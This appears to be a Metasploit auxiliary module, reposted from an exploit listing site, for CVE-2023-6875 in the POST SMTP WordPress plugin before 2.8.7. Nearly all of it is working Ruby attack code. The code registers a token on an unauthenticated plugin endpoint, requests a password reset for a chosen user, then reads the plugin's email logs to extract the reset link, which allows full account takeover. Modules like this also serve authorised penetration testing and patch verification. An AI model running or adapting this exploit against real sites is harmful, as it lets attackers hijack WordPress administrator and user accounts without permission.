Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-HTTP-WP_POST_SMTP_ACCT_TAKEOVER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress POST SMTP Account Takeover',
        'Description' => %q{
          The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege
          escalation where an unauthenticated user is able to reset the password
          of an arbitrary user. This is done by requesting a password reset, then
          viewing the latest email logs to find the associated password reset email.
        },
        'Author' => [
          'h00die', # msf module
          'Ulysses Saicha', # Discovery, POC
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-6875'],
          ['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'],
        ],
        'DisclosureDate' => '2024-01-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    register_options(
      [
        OptString.new('USERNAME', [true, 'Username to password reset', '']),
      ]
    )
  end

  def register_token
    token = Rex::Text.rand_text_alphanumeric(10..16)
    device = Rex::Text.rand_text_alphanumeric(10..16)
    vprint_status("Attempting to Registering token #{token} on device #{device}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'),
      'headers' => { 'fcm-token' => token, 'device' => device }
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely not vulnerable') if res.code == 401
    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely unpredicted URL structure') if res.code == 404
    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
    print_good("Succesfully created token: #{token}")
    return token, device
  end

  def check
    unless wordpress_and_online?
      return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
    end

    checkcode = check_plugin_version_from_readme('post-smtp', '2.8.7')
    if checkcode == Msf::Exploit::CheckCode::Safe
      return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable')
    end

    checkcode
  end

  def run
    fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME']
    token, device = register_token
    fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME'])
    print_status('Requesting logs')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'),
      'headers' => { 'fcm-token' => token, 'device' => device }
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
    json_doc = res.get_json_document
    # we want the latest email as that's the one with the password reset
    doc_id = json_doc['data'][0]['id']
    print_status("Requesting email content from logs for ID #{doc_id}")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'),
      'headers' => { 'fcm-token' => token, 'device' => device },
      'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id }
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200

    path = store_loot(
      'wordpress.post_smtp.log',
      'text/plain',
      rhost,
      res.body,
      "#{doc_id}.log"
    )
    print_good("Full text of log saved to: #{path}")
    # https://rubular.com/r/DDQpKElcH42Qxg
    # example URL http://127.0.0.1:5555/wp-login.php?action=rp&key=vy0MNNZZeykpDMArmJgu&login=admin&wp_lang=en_US
    if res.body =~ /^(.*key=.+)$/
      print_good("Reset URL: #{::Regexp.last_match(1)}")
      return
    end
    print_bad('Reset URL not found, manually review log stored in loot.')
  end
end